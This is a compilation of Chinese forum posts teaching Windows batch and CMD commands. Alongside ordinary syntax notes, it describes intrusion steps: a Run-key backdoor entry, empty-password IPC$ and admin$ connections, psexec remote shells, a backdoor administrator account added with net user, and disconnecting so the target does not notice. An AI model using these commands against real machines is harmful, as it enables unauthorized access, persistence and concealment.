運行CMD--轉換目錄到system32--dir *.exe>exeback.txt amp; dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt amp; fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站里,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟體公司。
3.< 、>amp; 、
< 從文件中而不是從鍵盤中讀入命令輸入。
>amp; 將一個句柄的輸出寫入到另一個句柄的輸入中。
這些並不常用,也就不多做介紹。
No.5
五.如何用批處理文件來操作注冊表
在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以載入後門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性,這些都需要我們對注冊表操作有一定的了解。下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件)
關於注冊表的操作,常見的是創建、修改、刪除。
1.創建
創建分為兩種,一種是創建子項(Subkey)
我們創建一個文件,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為「hacker」的子項。
另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是「String Value」
door的類型是「REG SZ Value」
Autodos的類型是「DWORD Value」
我誠實!我是抄來的!
『捌』 bat文件命令大全
有關某個命令的詳細信息,請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改啟動時間磁碟檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制台前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮。
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件復制到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容復制到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息,或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件,並顯示
不同處。
FIND 在文件中搜索文字字元串。
FINDSTR 在文件中搜索字元串。
FOR 為一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁碟,以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啟用 Windows 來以圖像模式顯示
擴展字元集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁碟的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 列印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄,然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁碟恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的注釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變數。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啟動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁碟。
VOL 顯示磁碟卷標和序列號。
XCOPY 復制文件和目錄樹。
appwiz.cpl------------添加刪除程序
control userpasswords2--------用戶帳戶設置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以當作是 Windows 的一個附件,Ping,Convert 這些不能在圖形環境下 使用的功能要藉助它來完成。
cmd------jview察看Java虛擬機版本。
command.com------調用的則是系統內置的 NTVDM,一個 DOS虛擬機。它完全是一個類似 Virtual PC 的 虛擬環境,和系統本身聯系不大。當我們在命令提示符下運行 DOS 程序時,實際上也 是自動轉移到 NTVDM虛擬機下,和 CMD 本身沒什麼關系。
calc-----------啟動計算器
chkdsk.exe-----Chkdsk磁碟檢查
compmgmt.msc---計算機管理
conf-----------啟動 netmeeting
control userpasswords2-----User Account 許可權設置
devmgmt.msc--- 設備管理器
diskmgmt.msc---磁碟管理實用程序
dfrg.msc-------磁碟碎片整理程序
drwtsn32------ 系統醫生
dvdplay--------啟動Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------組策略編輯器
gpupdate /target:computer /force 強制刷新組策略
eventvwr.exe-----事件查看器
explorer-------打開資源管理器
logoff---------注銷命令
lusrmgr.msc----本機用戶和組
msinfo32---------系統信息
msconfig---------系統配置實用程序
net start (servicename)----啟動該服務
net stop (servicename)-----停止該服務
notepad--------打開記事本
nusrmgr.cpl-------同control userpasswords,打開用戶帳戶控制面板
Nslookup-------IP地址偵測器
oobe/msoobe /a----檢查XP是否激活
perfmon.msc----計算機性能監測程序
progman--------程序管理器
regedit----------注冊表編輯器
regedt32-------注冊表編輯器
regsvr32 /u *.dll----停止dll文件運行
route print------查看路由表
rononce -p ----15秒關機
rsop.msc-------組策略結果集
rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----啟動一個空白的Windows 圖片和傳真查看器
secpol.msc--------本地安全策略
services.msc---本地服務設置
sfc /scannow-----啟動系統文件檢查器
sndrec32-------錄音機
taskmgr-----任務管理器(適用於2000/xp/2003)
tsshutdn-------60秒倒計時關機命令
winchat--------XP自帶區域網聊天
winmsd---------系統信息
winver-----顯示About Windows 窗口
wupdmgr-----------Windows Update
『玖』 求腳本(BAT)基本命令
1.「@echo off」--我們所寫的BAT一開始一般都有這一句,這一句的作用是:使所有的命令響應隱藏。「@」--本行命令不回顯。(本來如果你用echo off就可以了,但是還是能夠看到echo off這條命令在CMD下,影響美觀) 2.「color 1e」--設置默認的控制台前景和背景顏色。當前我設為藍底黃字,具體顏色請在CMD下用「color /?」查詢。 --這里又提到了這個參數「/?」,一般CMD下命令後加「/?」就會顯示這條命令的幫助。 3.「rem」--注釋作用,批處理執行過程中前不執行它,rem 後的字元只作注釋作用。
4.「title」--設置命令提示窗口的窗口標題。默認為「cmd」。改成自己喜歡的多有個性,嘿嘿。
5.「cls」--不多說,清屏命令。主要是怕前面的一些空白或字元出現影響美觀。
6.「set」--這個命令的作用很大,請用「set /?」查詢具體使用方法。本例「set topip=172.16.」是將一個名為「topip」的變數值設為「172.16.」。注意CMD下變數的設置不區別數字與字元,能夠自動根據提供的值調整。下行「set theip=0.0」同理。
7.「echo .」--在新行中顯示一個「.」。echo命令能顯示其後的comment。這里提幾個有趣實用的用法--「echo.」,注意與前面的不同,「echo」與「.」間無空格。這條命令如同一個回車,在新行不顯示任何信息並換行。「echo 」,實現響鈴的提示音。後面一個字元的輸入方法是在CMD下用「ctrl+G」,而這個字元得到的方法是CMD下用命令「echo "ctrl+G" >ex.txt」,存入ex.txt文件,再從那裡提取出來的。嘿嘿,如果你懶得做,就我在上面提供的字元嘍。
8.「if」--這條命令也會經常用到,請用「if /?」學習更多信息。本例「if not exist scanipc.exe (echo 文件錯誤!……) 」,實現功能:當同級目錄下不存在「scanipc.exe」時,提示「文件錯誤!……」。否則不提示。「if not exist filename 」在批處理中使用比較多些。
9.「:top」,設置一個標志點,標志名為「top」。「:」的作用就是設置標志。網上有文章說「使用"::comment"作為注釋比"rem comment"執行效率更高。」我相信,這里也建議大家,如果BAT中注釋較多時,請使用「::comment」設置。
10.「set /p pno=」--設置一個變數,並接受用戶輸入。BAT不需要預先聲明變數,只在需要時設置。參數「/p」:將變數數值設成用戶輸入的一行輸入。
11.「if %pno% gtr 9 gotoonerrorspno」--檢驗用戶輸入值是否大於9,是,則轉到一個指定標志點。這里注意BAT中變數引用時要在前後加「%」,但在if語句中可有可無,具體應用大家多寫幾遍就有體會。
12.「goto label」--無條件跳轉到指定標志位並向後執行。BAT好像只有這么一個跳轉語句了,作用不用我說,用了就知道。注意不要構成死循環。
小結:到此,完成了顏色設置、注釋版權說明、標題設置、變數初始化、歡迎信息、功能界面初始化、標志點設置(因為歡迎信息只顯示一次而功能界面要多次使用所以將標志點設置在歡迎信息的後面。)命令的接受與跳轉。;功能界面一般要用「tab」鍵調整相對位置,才能起到美觀的效果。請多練習幾遍領會。;大家在寫腳本過程中要注意標志點的設置位置,才能起到合適的效果。一般寫過幾個腳本會有些感受。;接著接受用戶輸入後「cls」清屏開始執行指定功能。注意這個cls的作用。因為清屏可以在此時,也可以在每個命令執行之前,但如果在每個命令執行之前用的請,那麼要寫的cls就多了,於是把cls寫在這里合適,方便節約快捷。
大家在寫腳本時也應當注意這方面的技巧,將使你寫出更加高效節約方便的代碼。在每次寫完腳本後合理地整合一下自己的代碼。能積累不少經驗。;另外,鑒於部分人仍不知道如何建立BAT文件與運行,請:打開記事本,寫入代碼,保存,保存類型為「所有文件*.*」,文件名為「name*.BAT」。保存後,雙擊運行。因為一般BAT運行很快,所以你可能只看到窗口一閃就消失了,那麼你可以在exit 之前加pause確保能看見運行結果。到此,你應該能夠寫一個很簡單的腳本了,實現一些界面控制。
例1: @echo off color ca title 這是我第一個BAT腳本。 echo 這是我第一個BAT腳本。不錯啊。 pause >nul exit 第二節:(提一些好用的命令)以下設置的都是功能段,在「goto step%pno%」跳轉到相應功能段後,開始執行相應功能。一般命令段: step1:ping命令。(在echo中變數的引用請注意前後加「%」號,否則會導致程序出錯。)我們常用的ping命令:其實很簡單,自己看幫助啦。本句「ping %topip%%theip% -n 1 |findstr 100%>nul」將ping 只發送一次數據包,這樣命令執行起來就快多了,但這樣所會引起一定概率的誤判,而我們在內網這種概率很低,低到可以忽略。所以本人使用參數「-n 1」減少執行時間。將結果不回顯而通過管道命令「|」送給findstr分析,findstr查找是否存在「100%」,並將回顯「丟棄」--「>nul」。因為如果ping一台主機如果返回的結果有「100%」存在說明「不在線。或者有防火牆阻擋。」。所以用findstr確定字元串「100%」的存在性,因為 findstr也有回顯,但我們並不需要,所以將它「丟棄」,使用參數「>nul」將指定命令回顯丟棄。(這一句命令是重點,請仔細領會。)又因為findstr確定指定字元串的存在性後會設定環境變數「errorlevel」的值,所以我們根據「if %errorlevel% equ 0 (command)」,判斷findstr的執行結果就行了,也就不需要有回顯。 「errorlevel」作用很大,一般命令行下的命令執行後都有一個特別的errorlevel,我們就可以根據相應的「返回值」作出相應判斷並執行相應功能。findstr如果找到指定字元串,則有errorlevel=0,說明:IP不在線。那麼既然不在線,我們就沒有向下執行的必要了,直接跳回top界面功能接受下一次指令。如果IP有不同回應,說明在線,則開始檢測共享。「net view \\%topip%%theip%\」--查看指定IP的共享清單。net詳細命令請自行查閱。列出共享清單後返回功能界面。 step2:打開共享一。「explorer \\%topip%%theip%\」,用資源管理器打開指定的IP根。注意語法,其它也沒有什麼。 step3:IPC$空連接。「net use \\%topip%%theip%\ipc$ "" /user:"administrator"」,一個很老的漏洞,但也許內網還有機子存在哩,嘿嘿,語法就是這樣。 step4:一般信息。「ipconfig /all」--用於得到本機的IP與MAC等信息,很好用的命令。語法如示。 「nbtstat -na %topip%%theip%」--用於得到他方機子的一些信息,語法如示。另請自查幫助。 step5:Scanipc。用命令行打開了一個程序而已。在命令行下執行其它命令也就是這樣啦。 step6:返回時間。「net time \\%topip%%theip%」--探測指定機子時間,語法如示。 step7:遠程連接。「net use \\%topip%%theip%\admin$ "" /user:"administrator"」,嘿嘿,administrator空密碼連接。最簡單的入侵啦,嘿嘿嘿。語法如示。 step8:本機信息。跳到另一個功能界面執行相應功能。 step9:高級命令。跳到另一個功能界面執行相應功能。 step0:退出程序。一個exit退出腳本。「exit」,退出CMD。 onerrorsip:實現錯誤提示,並重新執行step1。 onerrorspno:實現錯誤提示,並重新跳轉到功能界面。高級命令段:引用前面已給定的IP,並對其進行一些高級操作。重新繪制功能界面。首先,注意在一個BAT文件中,不允許出現有標志名的重復。 step11:條件連接。設定兩個變數,分別為用戶名與密碼。注意到有一個默認的功能。實現原理是,當接受到用戶輸入為空時(即一個回車),變數將保持不變。條件連接語法如示。比前面遠程空密碼連接更高級一點,嘿嘿。 step12:打開共享。打開已經連接成功的對方計算機的指定盤。打開指定盤語法如示。 step13:發送消息。向對方發送消息。要求雙方的messager服務開啟,否則無法發送成功。發送消息語法如示。 step14:遠程關機。設置關機時間與關機理由,用shutdown程序關閉對方計算機,嘿嘿,惡作劇。要求你連接成功,並有 shutdown程序支持。shutdown語法自查幫助。 step15:溢出CMD。嘿嘿,溢出到對方的CMD下,算是一個真正的入侵了。當然需要用戶名與密碼嘍。要求用戶名與密碼正確並對方默認支持遠程管理。並有psexec程序支持。psexec語法如示,並請自查幫助。 step16:結束進程。嘿嘿,不說也知道,結束對方已知進程。要求連接成功並有pskill程序支持。惡作劇類,有惡意成分。嘿嘿。小心使用。 step17:ipc$連接。同step3. step18:斷開連接。斷開與對方的連接,就是擦屁股啦,以免讓對方有所察覺。這個好習慣要養成。語法如示。 step19:一般命令。返回前面一個功能界面。 step20:結束程序。退出。 step110:AT命令,令對方在指定時間運行指定命令。有點像木馬,嘿嘿。要求連接成功。因為節約變數,所以引用了前面的暫不使用的變數。好習慣。哈哈。 step111:telnet。遠程telnet。不要說你一點都不知道,語法如示並請自查幫助。 step112:更改主IP。主要是為了使我們的使用方便,對某個特定IP段探測能夠簡化輸入。如主IP改成「172.16.130.」,那麼專門對130探測,而且輸入IP時只需輸入最後位,嘿嘿,多方便啊。 step113:任意命令。主要是接受用戶輸入並執行用戶的輸入罷了,結構如示。本機信息段:主要是對本機信息的一些查詢語法。 stepm1:ipconfig,不說了。但請注意到,在功能界面的實現上有一點,「&」符號,因為「&」符號在CMD下是命令連接符,如果光用「&」會讓BAT誤解為其後的都是命令。但我們只是希望輸出一個「&」罷了,於是用「^」符號連接符表明只是輸出「&」,而不是實現命令連接。這里提一下「&」命令連接符,例如:echo frist&echo second.同效於: echo frist echo second. 只是實現結合兩行命令在同一行實現。類如一個很簡單的批處理啦。再提一下「^」符號連接符,對一些特殊符號可能在CMD下無法正確如願顯示,可用「^」連接,以達到如期效果。用了「^」在文本中佔了一位空間,但在輸出時它並不顯示,所以注意界面的布置。 stepm2:本機進程。利用命令行下的進程工具查看進程。要求pslist程序支持。 stepm3:本機用戶。就是查詢一下本機用戶,也許會發現機了被動過的痕跡。 stepm4:結束進程。在命令行下結束本機進程。要求有pskill程序支持。 stepm5:本機埠。也許能看出被攻擊或被入侵的痕跡。語法如示。 stepm6:共享情況。看看本機的共享是否真的如你所想,如你所見。否則請注意安全嘍。語法如示。 stepm7:啟動項值。在命令行下導出啟動項值並給出結果。比魔法兔子什麼的快多了,就是界面不是很好看,呵呵。語法如示。 stepm0:退出程序。退出。小結:到此,您學習過了一些有用的命令與應用。以及大部分的網路命令與外部程序的使用。接下來你可以模擬IP小工具寫出適合更自己的IP小工具哦。注意每執行完一項功能後要用goto返回功能界面,否則腳本無條件向下繼續執行。;errorlevel的應用。在BAT中,errorlevel的作用很大,大家在使用過程中通過多次接觸,感受一下如何玩轉errorlevel。在執行完一個程序後,可以用echo %errorlevel%查看程序運行後是如何設定errorlevel的值。;if的應用。在BAT中,if語句的作用也很大,特別與errorlevel結合實現自動判斷。以及一些基本條件判斷。請查看"if /?" 學習更詳細的說明。;變數的接受與傳遞。這方面的感覺需要大家多寫BAT才能有所感觸。如何合理與高效的應用變數,能使你的腳本更加漂亮。計算機語言都是實踐性很強的,我們學習理論只是基礎,通過大量的實踐才能真正掌握一門語言的應用。 第三節:(一些應用技巧與命令)接下來我們看我的「代理伺服器搜索組件 (ver 2.1)」, 1.「>」與「>>」的區別。 「>」--把指定數據傳送到指定文件或區域。有覆蓋作用,從文件頭開始重寫文件。如指定文件不存在,則新建文件並存入指定數據。 「>>」--以追加方式將指定數據傳送到指定文件或區域。從文件結尾開始寫入指定內容。這兩個功能有區別,請注意選擇合適的傳送方式傳送數據。例如:「echo 文本內容。>link.txt」與「echo 文本內容。>>link.txt」。若本不存在文件link.txt或文件link.txt內容為空,那麼兩條命令的運行結果相同。但如果link.txt不為空,那麼第一條命令將清除link.txt所有內容並存入數據「文本內容。 」保存。而第二條命令只在link.txt的文件尾(另起一行,注意每一個「>>」都會另起一行寫入新數據)追加數據「文本內容。」而以前的內容保持不變。還要特別提一個前面說過的「丟棄」用法「>nul」,因為我們有時候只需要命令的運行而並不需要看到命令的運行結果以及回顯,但這些命令又會出現我們並不需要看到的回顯,影響美觀。故在其後追加「>nul」,丟棄回顯。 2.循環語句的說明。例2: :puship set /p tip= if %tip%==%tbip% goto step1 set tbip=%tip% echo %tip% >>link.txt goto puship 本例中「if %tip%==%tbip% goto step1」與「if %tip% equ %tbip% goto step1」效果一樣。本例的作用是接受用戶帖入數據。關鍵技術在於:因為用戶帖入數據我們不能使用戶每次輸入都詢問是否結束,而需要實現「 智能化」的判斷,但如何以最少的代碼、最簡單的方法實現所謂的「智能化」呢。分析用戶輸入情況:因為一般用戶帖入數據都不會出現重復,所以我們利用這個特點,分析用戶的數據,當用戶帖入列表時,分析數據並將數據存入相應文本,以備後用。當用戶粘帖文本結束後,再加一個回車,因為最後一次變數沒有接受到任何修改,於是保持默認不變(也就是之前的數據。),再通過我們之前的數據備份對照,分析是否不變,是,則跳出循環。這樣,我們通過兩個變數以一個IF比較實現相對簡單的「智能化」。嘿嘿,這一點代碼想了我一個小時。這么說不知道大家是否能理解。請仔細參透例2的技術要點。 3.「FOR /F "eol=; tokens=1 delims=: " %%i in (link.txt) do (set /a Allip=Allip+1>nul)」 這句FOR語句是復雜的雜合語句。首先請用for /?查閱詳細用法,這里不再復述。但是特別要提一點的就是批處理與直接命令行下的CMD的區別在FOR語句上。批處理時,變數引用需要有兩個「%」號,否則無法正確執行,而CMD下不用,只需一個「%」。 「set /a Allip=Allip+1>nul」--實現算術運算,變數Allip的自增,注意大小寫。把回顯「丟棄」。本例實現對文件link.txt內容計數,忽略以「;」開頭的行。這就是為什麼我們在前面要用「echo ;:文本>link.txt」來創建文本的意義所在。 4.「call toping %%i」--從批處理程序調用另一個批處理程序。調用另一個批處理「toping.bat」(因為BAT可以直接運行所以不需要後綴BAT),並有參數傳遞。參數來自於FOR語句的提取。「FOR /F "eol=; tokens=1 delims=: " %%i in (link.txt) 」--從link.txt的每行中提取文本,從每行的開頭第一個字元開始(tokens=1),以「:」界定提取結尾(delims=: )。把提取結果賦給變數i。 5.「type」--在命令行下顯示指定文件的內容。相信大家應該很熟悉,不多說了。注意與「>或>>」的結合使用,或與其它操作符的結合使用。 6.「%1」--在CMD下,一個BAT能夠接受同時9位的參數,「%1~%9」,分別對應給定的參數變數。「%0」,即是文件本身。我們在使用BAT的過程中會經常遇到兩個或兩個以上腳本間需要參數傳遞。那麼請好好掌握這個用法,多說無益,需要大家在實踐中積累經驗。 7.再說一些比較邊緣,但大家比較興趣的命令。呵呵,不要做壞事。 net user admin 123 /add net localgroup administrators admin /add net localgroup users admin /del net user admin /active:yes net user net user admin net user admin /del 「net user admin 123 /add」--添加名為「admin」,密碼為「123」的用戶,如果「123」不寫,則默認密碼為空。 「net localgroup administrators admin /add」--將用戶「admin」加入「administrators」組,嘿嘿,高許可權。 「net localgroup users admin /del」--將「admin」從「users」組刪除。呵呵,因為用戶新加進去時都是「users」組,許可權比較低,所以要從這個組跳出來,保證administrators組的許可權正式發揮作用,如果不這么做,對方系統會默認你的最低許可權。 「net user admin /active:yes」--怕沒法使用沒有啟動,不要緊,激活這個帳號,嘿嘿。 「net user」--看看用戶有多少哦。 「net user admin」--看看剛剛加的用戶信息如何,是否如我所想,如我所願呢。 「net user admin /del」--刪除用戶admin。 -------------------------------------------------------------------------------------------------------------------
『拾』 簡單的bat命令
首先, @ 不是一個命令, 而是DOS 批處理的一個特殊標記符, 僅用於屏蔽命令行回顯. 下面是DOS命令行或批處理中可能會見到的一些特殊標記符:
CR(0D) 命令行結束符
Escape(1B) ANSI轉義字元引導符
Space(20) 常用的參數界定符
Tab(09) ; = 不常用的參數界定符
+ COPY命令文件連接符
* ? 文件通配符
"" 字元串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回顯屏蔽符
/ 參數開關引導符
: 批處理標簽引導符
% 批處理變數引導符
其次, :: 確實可以起到rem 的注釋作用, 而且更簡潔有效; 但有兩點需要注意:
第一, 除了 :: 之外, 任何以 :開頭的字元行, 在批處理中都被視作標號, 而直接忽略其後的所有內容, 只是為了與正常的標號相區別, 建議使用 goto 所無法識別的標號, 即在 :後緊跟一個非字母數字的一個特殊符號.
第二, 與rem 不同的是, ::後的字元行在執行時不會回顯, 無論是否用echo on打開命令行回顯狀態, 因為命令解釋器不認為他是一個有效的命令行, 就此點來看, rem 在某些場合下將比 :: 更為適用; 另外, rem 可以用於 config.sys 文件中.
=====================
echo 表示顯示此命令後的字元
echo off 表示在此語句後所有運行的命令都不顯示命令行本身
@與echo off相象,但它是加在每個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。
call 調用另一個批處理文件(如果不用call而直接調用別的批處理文件,那麼執行完那個批處理文件後將無法返回當前文件並執行當前文件的後續命令)。
pause 運行此句會暫停批處理的執行並在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵後繼續
rem 表示此命令後的字元為解釋行(注釋),不執行,只是給自己今後參考用的(相當於程序中的注釋)。
==== 注 =====
此處的描述較為混亂, 不如直接引用個命令的命令行幫助更為條理
-------------------------
ECHO
當程序運行時,顯示或隱藏批處理程序中的正文。也可用於允許或禁止命令的回顯。
在運行批處理程序時,MS-DOS一般在屏幕上顯示(回顯)批處理程序中的命令。
使用ECHO命令可關閉此功能。
語法
ECHO [ON|OFF]
若要用echo命令顯示一條命令,可用下述語法:
echo [message]
參數
ON|OFF
指定是否允許命令的回顯。若要顯示當前的ECHO的設置,可使用不帶參數的ECHO
命令。
message
指定讓MS-DOS在屏幕上顯示的正文。
-------------------
CALL
從一個批處理程序中調用另一個批處理程序,而不會引起第一個批處理的中止。
語法
CALL [drive:][path]filename [batch-parameters]
參數
[drive:][path]filename
指定要調用的批處理程序的名字及其存放處。文件名必須用.BAT作擴展名。
batch-parameters
指定批處理程序所需的命令行信息。
-------------------------------
PAUSE
暫停批處理程序的執行並顯示一條消息,提示用戶按任意鍵繼續執行。只能在批處
理程序中使用該命令。
語法
PAUSE
REM
在批處理文件或CONFIG.SYS中加入註解。也可用REM命令來屏蔽命令(在CONFIG.SYS
中也可以用分號 ; 代替REM命令,但在批處理文件中則不能替代)。
語法
REM [string]
參數
string
指定要屏蔽的命令或要包含的註解。
=======================
例1:用edit編輯a.bat文件,輸入下列內容後存檔為c:\a.bat,執行該批處理文件後可實現:將根目錄中所有文件寫入 a.txt中,啟動UCDOS,進入WPS等功能。
批處理文件的內容為: 命令注釋:
作者: 219.148.184.* 2007-2-12 18:58 回復此發言
--------------------------------------------------------------------------------
2 bat.文件的命令語法, 句式或bat文件教程
@echo off 不顯示後續命令行及當前命令行
dir c:\*.* >a.txt 將c盤文件列表寫入a.txt
call c:\ucdos\ucdos.bat 調用ucdos
echo 你好 顯示"你好"
pause 暫停,等待按鍵繼續
rem 准備運行wps 注釋:准備運行wps
cd ucdos 進入ucdos目錄
wps 運行wps
批處理文件的參數
批處理文件還可以像C語言的函數一樣使用參數(相當於DOS命令的命令行參數),這需要用到一個參數表示符"%"。
%[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字元串。變數可以從%0到%9,%0表示批處理命令本身,其它參數字元串用%1到%9順序表示。
例2:C:根目錄下有一批處理文件名為f.bat,內容為:
@echo off
format %1
如果執行C:\>f a:
那麼在執行f.bat時,%1就表示a:,這樣format %1就相當於format a:,於是上面的命令運行時實際執行的是format a:
例3:C:根目錄下一批處理文件名為t.bat,內容為:
@echo off
type %1
type %2
那麼運行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
於是上面的命令將順序地顯示a.txt和b.txt文件的內容。
==== 注 ===============
參數在批處理中也作為變數處理, 所以同樣使用百分號作為引導符, 其後跟0-9中的一個數字構成參數引用符. 引用符和參數之間 (例如上文中的 %1 與 a: ) 的關系類似於變數指針與變數值的關系. 當我們要引用第十一個或更多個參數時, 就必須移動DOS 的參數起始指針. shift 命令正充當了這個移動指針的角色, 它將參數的起始指針移動到下一個參數, 類似C 語言中的指針操作. 圖示如下:
初始狀態, cmd 為命令名, 可以用 %0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
經過1次shift後, cmd 將無法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
經過2次shift後, arg1也被廢棄, %9指向為空, 沒有引用意義
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8
遺憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 內核命令行環境下, shift 才支持 /n 參數, 可以以第一參數為基準返復移動起始指針.
=================
特殊命令
if goto choice for是批處理文件中比較高級的命令,如果這幾個你用得很熟練,你就是批處理文件的專家啦。
一、if 是條件語句,用來判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if [not] "參數" == "字元串" 待執行的命令
參數如果等於(not表示不等,下同)指定的字元串,則條件成立,運行命令,否則運行下一句。
例:if "%1"=="a" format a:
====
if 的命令行幫助中關於此點的描述為:
IF [NOT] string1==string2 command
在此有以下幾點需要注意:
1. 包含字元串的雙引號不是語法所必須的, 而只是習慣上使用的一種"防空"字元
2. string1 未必是參數, 它也可以是環境變數, 循環變數以及其他字元串常量或變數
3. command 不是語法所必須的, string2 後跟一個空格就可以構成一個有效的命令行
=============================
2、if [not] exist [路徑\]文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,則顯示它的內容。
****** 注 ********
也可以使用以下的用法:
if exist command
device 是指DOS系統中已載入的設備, 在win98下通常有:
作者: 219.148.184.* 2007-2-12 18:58 回復此發言
--------------------------------------------------------------------------------
3 bat.文件的命令語法, 句式或bat文件教程
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具體的內容會因硬軟體環境的不同而略有差異, 使用這些設備名稱時, 需要保證以下三點:
1. 該設備確實存在(由軟體虛擬的設備除外)
2. 該設備驅動程序已載入(aux, prn等標准設備由系統預設定義)
3. 該設備已准備好(主要是指a: b: ..., com1..., lpt1...等)
可通過命令 mem/d | find "device" /i 來檢閱你的系統中所載入的設備
另外, 在DOS系統中, 設備也被認為是一種特殊的文件, 而文件也可以稱作字元設備; 因為設備(device)與文件都是使用句柄(handle)來管理的, 句柄就是名字, 類似於文件名, 只不過句柄不是應用於磁碟管理, 而是應用於內存管理而已, 所謂設備載入也即指在內存中為其分配可引用的句柄.
==================================
3、if errorlevel <數字> 待執行的命令
